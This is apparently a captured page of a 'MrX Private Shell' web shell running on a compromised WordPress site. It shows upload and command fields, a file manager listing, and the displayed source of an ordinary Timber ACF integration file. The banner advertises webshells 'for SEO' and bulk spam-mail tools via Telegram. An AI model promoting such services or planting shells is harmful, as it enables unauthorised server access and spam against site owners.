__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Integration with Advanced Custom Fields (ACF)
 *
 * @package Timber
 */

namespace Timber\Integrations;

/**
 * Class used to handle integration with Advanced Custom Fields
 */
class ACF {

	public function __construct() {
		add_filter('timber_post_get_meta', array( $this, 'post_get_meta' ), 10, 2);
		add_filter('timber_post_get_meta_field', array( $this, 'post_get_meta_field' ), 10, 3);
		add_filter('timber/post/meta_object_field', array( $this, 'post_meta_object' ), 10, 3);
		add_filter('timber/term/meta', array( $this, 'term_get_meta' ), 10, 3);
		add_filter('timber/term/meta/field', array( $this, 'term_get_meta_field' ), 10, 4);
		add_filter('timber_user_get_meta_field_pre', array( $this, 'user_get_meta_field' ), 10, 3);
		add_filter('timber/term/meta/set', array( $this, 'term_set_meta' ), 10, 4);
	}

	public function post_get_meta( $customs, $post_id ) {
		return $customs;
	}

	public function post_get_meta_field( $value, $post_id, $field_name ) {
		return get_field($field_name, $post_id);
	}

	public function post_meta_object( $value, $post_id, $field_name ) {
		return get_field_object($field_name, $post_id);
	}

	public function term_get_meta_field( $value, $term_id, $field_name, $term ) {
		$searcher = $term->taxonomy . '_' . $term->ID;
		return get_field($field_name, $searcher);
	}

	public function term_set_meta( $value, $field, $term_id, $term ) {
		$searcher = $term->taxonomy . '_' . $term->ID;
		update_field($field, $value, $searcher);
		return $value;
	}

	public function term_get_meta( $fields, $term_id, $term ) {
		$searcher = $term->taxonomy . '_' . $term->ID; // save to a specific category.
		$fds      = get_fields($searcher);
		if ( is_array($fds) ) {
			foreach ( $fds as $key => $value ) {
				$key            = preg_replace('/_/', '', $key, 1);
				$key            = str_replace($searcher, '', $key);
				$key            = preg_replace('/_/', '', $key, 1);
				$field          = get_field($key, $searcher);
				$fields[ $key ] = $field;
			}
			$fields = array_merge($fields, $fds);
		}
		return $fields;
	}

	public function user_get_meta( $fields, $user_id ) {
		return $fields;
	}

	public function user_get_meta_field( $value, $uid, $field ) {
		return get_field($field, 'user_' . $uid);
	}
}

Filemanager

Name Type Size Permission Actions
ACF.php File 2.21 KB 0775
CoAuthorsPlus.php File 1.41 KB 0775
CoAuthorsPlusUser.php File 1.07 KB 0775
Command.php File 880 B 0775
Timber_WP_CLI_Command.php File 910 B 0775
WPML.php File 679 B 0775
Filemanager